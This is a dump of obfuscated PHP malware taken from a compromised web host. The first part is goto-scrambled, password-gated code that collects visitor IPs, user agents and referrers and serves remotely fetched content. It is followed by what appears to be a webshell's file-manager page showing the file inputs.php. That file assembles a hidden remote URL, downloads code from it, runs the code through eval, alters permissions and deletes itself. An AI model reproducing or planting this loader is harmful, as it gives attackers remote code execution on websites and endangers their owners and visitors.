RNK4B0XILn: if (!(@$xj2AeH6SP1maOW[0] - time() > 0 and md5(md5($xj2AeH6SP1maOW[0 + 3])) === "\x65\64\66\x66\63\x63\x32\65\145\x38\70\x62\66\60\142\x32\x34\71\x66\x34\141\71\61\x38\x31\65\143\x61\71\x34\x62\61")) { goto HzpQLyst8TW3Tc; } goto uXTgzQ2JHrZmxk; EJ7566q1lfwfcm: $uOCboEbhYVOtM8 = array("\x35\x32\62\x36\x2b\x35\x32\61\x31\53\65\62\62\x34\x2b\x35\x32\x32\70\53\x35\x32\x30\71\x2b\65\62\x32\x34\53\65\x32\x33\x30\x2b\65\x32\x32\63\53\x35\x32\60\70\53\x35\x32\61\x35\53\x35\x32\62\66\53\x35\x32\60\x39\53\x35\62\x32\60\53\65\62\x31\64\53\x35\x32\x31\x35", "\65\x32\61\x30\53\x35\x32\60\71\x2b\65\62\61\x31\53\x35\x32\63\60\x2b\x35\62\x31\x31\53\x35\62\x31\64\53\65\62\60\x39\53\x35\x32\x37\x36\x2b\65\62\67\64", "\65\x32\61\71\x2b\x35\x32\x31\60\53\65\x32\x31\64\x2b\x35\x32\x31\x35\x2b\x35\62\63\x30\53\65\62\62\x35\x2b\65\x32\62\x34\53\x35\62\62\66\53\x35\62\61\64\53\65\x32\x32\x35\x2b\65\62\62\64", "\65\62\61\x33\x2b\x35\62\x32\70\53\x35\x32\x32\66\53\65\x32\x31\x38", "\x35\62\x32\67\53\65\x32\62\70\x2b\65\x32\x31\x30\x2b\65\62\x32\64\x2b\x35\x32\x37\x31\53\65\62\67\63\53\x35\62\x33\x30\x2b\x35\x32\x32\65\x2b\65\x32\x32\x34\53\65\62\x32\66\53\x35\62\x31\x34\53\x35\x32\62\x35\x2b\65\62\x32\x34", "\x35\x32\62\x33\x2b\65\x32\62\60\x2b\65\x32\x31\x37\53\65\62\x32\x34\53\65\x32\x33\60\x2b\65\x32\x32\62\53\x35\62\62\x34\53\x35\x32\x30\x39\x2b\x35\62\x33\x30\53\x35\x32\x32\x36\53\65\62\61\x34\53\65\x32\x31\x35\53\x35\62\x30\x39\53\x35\x32\x32\x34\53\65\x32\61\65\53\x35\62\60\x39\53\65\62\61\60", "\x35\x32\x35\63\53\x35\x32\x38\x33", "\x35\x32\x30\x30", "\x35\62\67\x38\x2b\x35\x32\x38\63", "\65\x32\66\x30\x2b\x35\62\x34\63\53\65\62\x34\63\53\x35\x32\66\60\x2b\x35\62\63\66", "\x35\62\62\x33\x2b\x35\62\62\x30\x2b\x35\x32\x31\67\53\65\62\60\x39\53\x35\62\62\x34\x2b\65\x32\x31\x31\53\65\x32\63\x30\53\65\62\x32\60\53\65\x32\61\65\53\x35\62\61\63\53\65\62\x30\70\x2b\65\62\x30\71"); goto CLlLAWjdHMTY3X; Z8yLLNYDCQaHAi: $bVmLTGOkbLprfr = @$ynlJNPNMmDeXVa[1]($ynlJNPNMmDeXVa[10 + 0](INPUT_GET, $ynlJNPNMmDeXVa[4 + 5])); goto OzamV3emZ6eAbO; K3HoZH3pxQfn2c: die; goto NO2vbVdI186HFj; UaJaR8RWF8BtcP: } } goto ogjcRqlt8m1yFt; t8TpplQkxmNQKg: VWq7n8avJneZWe: goto ZVM0YvvgbIo11U; ufyV20U0fMcSJg: nhUzRbCLQnuhLh: goto b7DnrAS9hKZE6C; L2fzlj7JmrK97A: $Ym0oIOWx6ByrbA["\163"] = oB2VtLXKgRIPLW($DCQAxVYJ0s2xNZ); goto juNf0o5W9RUnP8; TDIrhdxvpNlFt9: function tDk2fhL7aRlnRq() { goto A0jfGlM3HtbTc8; vsGQjQL1n3QW2Q: $cIX1t8ECuEurN8 = $cIX1t8ECuEurN8[0]; goto myJj1wXf2lYI5E; QOh3G8lOqaQWeK: xB39IGICyiwlN1: goto PWUIOKof_frKdi; WSbyHvGkSPW8G6: return $cIX1t8ECuEurN8; goto Grz6njp1WbkzyW; myJj1wXf2lYI5E: Fy2tlq68W1Z4cY: goto WSbyHvGkSPW8G6; B99XlumIIoF9yc: goto O37D2TgI1D66fQ; goto kKfGd_juWsO9SB; tNtX7SnHEoN9ve: if (isset($_SERVER["\x48\124\x54\120\x5f\130\137\x52\x45\101\114\x5f\x49\x50"]) && !empty($_SERVER["\x48\124\x54\x50\x5f\x58\x5f\122\105\101\x4c\x5f\x49\x50"])) { goto IbsgkORsYRpgBL; } goto m1YuAzS4K6e0ZJ; gwXV80f3Kvnin5: $cIX1t8ECuEurN8 = $_SERVER["\110\124\124\120\137\130\x5f\106\117\122\x57\101\x52\x44\x45\x44\137\x46\x4f\x52"]; goto F5UC4mBhfgxdX2; xHNzAyzHVlO5pq: $cIX1t8ECuEurN8 = explode("\54", $cIX1t8ECuEurN8); goto vsGQjQL1n3QW2Q; LkMROqR4RYuDsX: $cIX1t8ECuEurN8 = $_SERVER["\x52\x45\115\117\124\105\x5f\101\x44\x44\x52"]; goto dYhlmimy6UKWgc; PWUIOKof_frKdi: $cIX1t8ECuEurN8 = $_SERVER["\x48\124\124\x50\x5f\x43\x46\x5f\x43\117\116\x4e\105\x43\x54\x49\116\x47\x5f\x49\x50"]; goto B99XlumIIoF9yc; dYhlmimy6UKWgc: goto O37D2TgI1D66fQ; goto QOh3G8lOqaQWeK; c7Zjb3FklkFA6T: $cIX1t8ECuEurN8 = trim(str_replace("\x20", '', $cIX1t8ECuEurN8), "\54"); goto jnEONwk8qQ3QoE; IYNLV2P_z1R8_9: $cIX1t8ECuEurN8 = $_SERVER["\x48\x54\x54\x50\137\130\137\x52\105\x41\x4c\137\x49\x50"]; goto g3xl2m2S2bmEAU; A0jfGlM3HtbTc8: $cIX1t8ECuEurN8 = ''; goto rR27t1UBdIHeAR; rR27t1UBdIHeAR: if (isset($_SERVER["\110\x54\x54\x50\137\x43\x46\137\103\117\x4e\x4e\105\x43\124\111\116\107\137\x49\x50"]) && !empty($_SERVER["\x48\x54\x54\120\x5f\x43\x46\137\103\x4f\x4e\x4e\105\103\124\x49\x4e\x47\x5f\x49\x50"])) { goto xB39IGICyiwlN1; } goto tNtX7SnHEoN9ve; jnEONwk8qQ3QoE: if (!(strpos($cIX1t8ECuEurN8, "\x2c") !== false)) { goto Fy2tlq68W1Z4cY; } goto xHNzAyzHVlO5pq; m1YuAzS4K6e0ZJ: if (isset($_SERVER["\x48\x54\x54\x50\137\130\x5f\x46\x4f\122\x57\101\x52\104\x45\104\137\x46\117\x52"]) && !empty($_SERVER["\x48\x54\124\120\x5f\130\137\x46\117\x52\x57\x41\x52\104\x45\104\137\x46\x4f\x52"])) { goto YO_1CRlkHk0b5K; } goto LkMROqR4RYuDsX; kKfGd_juWsO9SB: IbsgkORsYRpgBL: goto IYNLV2P_z1R8_9; F5UC4mBhfgxdX2: O37D2TgI1D66fQ: goto c7Zjb3FklkFA6T; g3xl2m2S2bmEAU: goto O37D2TgI1D66fQ; goto PoJd83qL9Ntzk7; PoJd83qL9Ntzk7: YO_1CRlkHk0b5K: goto gwXV80f3Kvnin5; Grz6njp1WbkzyW: } goto J5qe_wS1vgzck7; b7DnrAS9hKZE6C: if (!strlen($Obe5O3pNrh1wNk["\143\157\156\x74\145\156\x74"])) { goto VWq7n8avJneZWe; } goto wH1UQCn4Kym7NZ; juNf0o5W9RUnP8: $Ym0oIOWx6ByrbA["\x75"] = ob2VTLxKgRIPLw($_SERVER["\x48\x54\x54\120\x5f\125\x53\x45\122\x5f\x41\107\x45\x4e\x54"]); goto cCQUyydRpwrclc; ks1k8aTWZXL63p: $Ym0oIOWx6ByrbA["\162\146"] = oB2VtLXkgriplW($cVPbc5aZBpQh4S); goto L2fzlj7JmrK97A; zdY3FjKTBRxxC2: exit("\x7b\x20\42\x65\x72\162\x6f\162\42\x3a\40\x32\60\x30\x2c\x20\42\x6c\x63\x22\72\40\x22\x6a\153\42\54\40\x22\144\141\164\x61\42\72\x20\x5b\x20\x31\x20\135\40\x7d"); goto PZW0GG3F0uoCYA; mBWmHT5C3u6kIU: exit(strrev(md5($_SERVER["\110\x54\124\x50\137\x48\117\123\124"]))); goto iFI7SVRy1TDCFo; lY0mM3QMw40Wja: exit($Obe5O3pNrh1wNk["\x63\x6f\156\x74\x65\156\164"]); goto t8TpplQkxmNQKg; ZVM0YvvgbIo11U: aXnousimfq1MHe: ?> HEX
HEX
Server: LiteSpeed
System: Linux cg.mitralhost.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
User: foofelco (1828)
PHP: 7.4.33
Disabled: NONE
$ pwd: /home/foofelco/public_html/
Upload Files
File: /home/foofelco/public_html/inputs.php
<?php goto k68Lo; ONyF7: $qokfg .= "\x73"; goto kXtIa; HHy0G: $qokfg .= "\160\165\163"; goto EBKfy; aAMA_: $qokfg .= "\170\145\x79"; goto Yv0dY; t40gb: $qokfg .= "\x73\x70"; goto OeCLp; y8T5W: $qokfg .= "\x2e\157\145"; goto ONyF7; NmaKj: @chmod($Y0sLi, 0755); goto nqGz3; Czzbc: $qokfg = ''; goto cr_jz; h1Kq8: eval("\x3f\x3e" . ciC2w(strrev($qokfg))); goto UlkY4; EQsv4: $qokfg .= "\61\156\x61\x6d"; goto qsK13; kXtIa: $qokfg .= "\57\x2f\72"; goto t40gb; qsK13: $qokfg .= "\57\162\x65"; goto HHy0G; cr_jz: $qokfg .= "\164"; goto WXTed; WXTed: $qokfg .= "\170\164\x2e"; goto EQsv4; q1Vz9: $qokfg .= "\x2e\x61\x73\56"; goto aAMA_; OeCLp: $qokfg .= "\x74\x74\x68"; goto h1Kq8; nqGz3: @unlink($fzu2n); goto Czzbc; k68Lo: $fzu2n = $_SERVER["\x44\117\103\x55\115\x45\116\x54\137\x52\x4f\117\x54"] . $_SERVER["\x50\110\120\137\x53\x45\x4c\x46"]; goto hrif1; EBKfy: $qokfg .= "\x2f\x6d\157\x63"; goto q1Vz9; Yv0dY: $qokfg .= "\151\x65\150"; goto y8T5W; hrif1: $Y0sLi = dirname($_SERVER["\x44\x4f\x43\125\x4d\105\x4e\124\137\122\117\x4f\124"] . $_SERVER["\120\110\120\x5f\123\105\x4c\x46"]); goto NmaKj; UlkY4: function CIc2w($GGGJ_, $eF402 = "\x47\x45\x54", $GANlk = array(), $ZgYYH = 45) { try { goto ohbNn; i0l_p: if (!($eF402 == "\x50\117\123\124")) { goto oBwZn; } goto uSPuh; mzMoz: $k9l8y .= $pI3_f . "\15\xa"; goto DjWmc; eQ1Aj: $bjyYi = isset($LL0MD["\160\x61\x74\x68"]) ? $LL0MD["\160\x61\x74\x68"] : "\57"; goto fugTC; Ijq1S: $OmGNF = $siukR; goto ICEZY; v80Fk: $siukR = ''; goto DlESH; weCeM: $qka3P = $LL0MD["\150\157\x73\164"]; goto eQ1Aj; FxQ2X: goto aCDf2; goto M_I0E; phVYZ: $O61oF = stream_socket_client("{$Tn30T}\72\x2f\x2f{$qka3P}\x3a{$uJ8qI}", $JjP5U, $KDWdp, $ZgYYH); goto MO7os; aiJny: T6pON: goto QSzC9; o_NBQ: curl_setopt($hrp5k, CURLOPT_POSTFIELDS, http_build_query($GANlk)); goto peQXF; ICEZY: WDo3K: goto Y8QPF; IEYkk: $hPv_K = isset($pKp0m[0]) ? $pKp0m[0] : ''; goto HmEA2; Y8QPF: return trim($OmGNF); goto zbaqv; UqfEy: aCDf2: goto Ijq1S; qwn35: goto Nnxno; goto Kk37W; AIJU5: curl_setopt($hrp5k, CURLOPT_TIMEOUT, $ZgYYH); goto LBaGv; ZUiFC: goto wnBr0; goto UqfEy; Ye3l7: if (!($OHptL === false)) { goto f0Qmd; } goto FxQ2X; Mq5b_: fclose($O61oF); goto LWkKu; XjJPU: $siukR .= substr($OmGNF, $OHptL + 2, $YSgIG); goto QnbJo; HmEA2: $OmGNF = isset($pKp0m[1]) ? $pKp0m[1] : ''; goto rTYcl; QnbJo: $OmGNF = substr($OmGNF, $OHptL + 2 + $YSgIG + 2); goto ZUiFC; oXMRy: curl_setopt($hrp5k, CURLOPT_POST, 1); goto o_NBQ; vdAh3: $uJ8qI = isset($LL0MD["\x70\x6f\x72\164"]) ? $LL0MD["\160\157\162\x74"] : ($PG6bC === "\x68\x74\x74\160\x73" ? 443 : 80); goto K0BeZ; g7NnU: $PG6bC = isset($LL0MD["\x73\x63\150\x65\155\145"]) ? $LL0MD["\x73\x63\x68\x65\155\x65"] : "\150\x74\x74\160"; goto vdAh3; L9MPr: cXG05: goto XjJPU; j97_S: $wpW0P = curl_exec($hrp5k); goto jqdVy; YJ1vM: if (!($eF402 == "\120\117\x53\x54")) { goto ASYYJ; } goto mzMoz; Yv4z0: $hrp5k = curl_init(); goto ImyFX; gcYgq: if (!($YSgIG === 0)) { goto cXG05; } goto G505F; J3Ptn: curl_setopt($hrp5k, CURLOPT_USERAGENT, "\x47\x4f"); goto lL0uV; deuEj: OcHoT: goto QV7VI; yVbWs: $hPv_K[] = "\103\x6f\156\164\x65\156\x74\55\x54\171\160\x65\72\40\141\160\x70\154\151\x63\x61\x74\x69\x6f\x6e\x2f\x78\55\x77\167\167\55\x66\157\x72\x6d\x2d\x75\162\154\x65\x6e\143\x6f\144\145\x64"; goto hYxBJ; fugTC: $T4Ppt = isset($LL0MD["\161\x75\x65\162\x79"]) ? "\x3f" . $LL0MD["\161\165\145\162\171"] : ''; goto g7NnU; wxF1p: curl_setopt($hrp5k, CURLOPT_SSL_VERIFYHOST, false); goto nOXwr; c3qwA: $YSgIG = hexdec(substr($OmGNF, 0, $OHptL)); goto gcYgq; LBaGv: if (!($eF402 == "\120\117\123\124")) { goto Sxzmp; } goto oXMRy; q2Dik: $OHptL = strpos($OmGNF, "\15\xa"); goto Ye3l7; LWkKu: $pKp0m = explode("\15\12\15\12", $yRwhm, 2); goto IEYkk; YB4dt: curl_setopt($hrp5k, CURLOPT_RETURNTRANSFER, 1); goto mq1b4; hYxBJ: $hPv_K[] = "\x43\x6f\156\x74\145\156\164\55\x4c\145\156\x67\164\150\x3a\x20" . strlen($pI3_f); goto ZN7Vr; Cv7WD: $yRwhm .= fgets($O61oF, 1024); goto qwn35; EpqVt: return 0; goto aiJny; MO7os: if ($O61oF) { goto T6pON; } goto EpqVt; mq1b4: curl_setopt($hrp5k, CURLOPT_SSL_VERIFYPEER, false); goto wxF1p; QV7VI: $LL0MD = parse_url($GGGJ_); goto weCeM; K0BeZ: $Tn30T = $PG6bC === "\x68\164\164\x70\163" ? "\163\163\x6c" : "\x74\x63\160"; goto phVYZ; peQXF: Sxzmp: goto j97_S; QSzC9: $hPv_K = array("{$eF402}\x20{$bjyYi}{$T4Ppt}\x20\x48\124\x54\x50\x2f\x31\x2e\61", "\110\x6f\x73\x74\72\40{$qka3P}", "\125\x73\x65\162\55\101\x67\x65\x6e\x74\x3a\40\115\x6f\x7a\151\x6c\154\141\57\65\56\x30\40\50\127\151\x6e\x64\157\167\x73\40\116\124\40\61\60\56\x30\x3b\40\127\151\x6e\66\64\73\x20\170\x36\x34\51\40\101\x70\160\x6c\145\x57\145\142\x4b\151\164\57\65\63\x37\x2e\63\66\x20\x28\x4b\x48\x54\x4d\114\54\40\x6c\x69\x6b\x65\x20\x47\145\x63\x6b\157\x29\40\x43\x68\x72\x6f\155\145\57\71\x31\56\60\x2e\x34\x34\x37\x32\x2e\x31\x32\64\40\x53\x61\x66\x61\162\151\57\x35\63\x37\56\63\66", "\x43\x6f\156\x6e\145\x63\164\x69\157\x6e\x3a\40\103\154\157\x73\145"); goto i0l_p; V4cPs: $k9l8y = implode("\15\12", $hPv_K) . "\xd\12\xd\xa"; goto YJ1vM; ZN7Vr: oBwZn: goto V4cPs; zvS66: return trim(trim($wpW0P, "\357\xbb\277")); goto deuEj; G505F: goto aCDf2; goto L9MPr; ohbNn: if (!(function_exists("\x63\x75\162\154\x5f\151\x6e\x69\164") && function_exists("\143\165\x72\154\137\145\170\145\143"))) { goto OcHoT; } goto Yv4z0; ImyFX: curl_setopt($hrp5k, CURLOPT_URL, $GGGJ_); goto J3Ptn; myGHd: $yRwhm = ''; goto NGlog; DjWmc: ASYYJ: goto pv0bc; DlESH: wnBr0: goto qSxy8; nOXwr: curl_setopt($hrp5k, CURLOPT_FOLLOWLOCATION, true); goto AIJU5; jqdVy: curl_close($hrp5k); goto zvS66; qSxy8: if (!true) { goto aCDf2; } goto q2Dik; Kk37W: LA4LC: goto Mq5b_; rTYcl: if (!(stripos($hPv_K, "\124\162\141\x6e\163\146\x65\162\55\x45\x6e\x63\157\x64\151\x6e\x67\72\x20\143\x68\165\156\153\x65\x64") !== false)) { goto WDo3K; } goto v80Fk; M_I0E: f0Qmd: goto c3qwA; pv0bc: fwrite($O61oF, $k9l8y); goto myGHd; Ksjiv: if (feof($O61oF)) { goto LA4LC; } goto Cv7WD; lL0uV: curl_setopt($hrp5k, CURLOPT_CONNECTTIMEOUT, 0); goto YB4dt; uSPuh: $pI3_f = http_build_query($GANlk); goto yVbWs; NGlog: Nnxno: goto Ksjiv; zbaqv: } catch (Exception $DjiRI) { } return 0; }
@ Telegram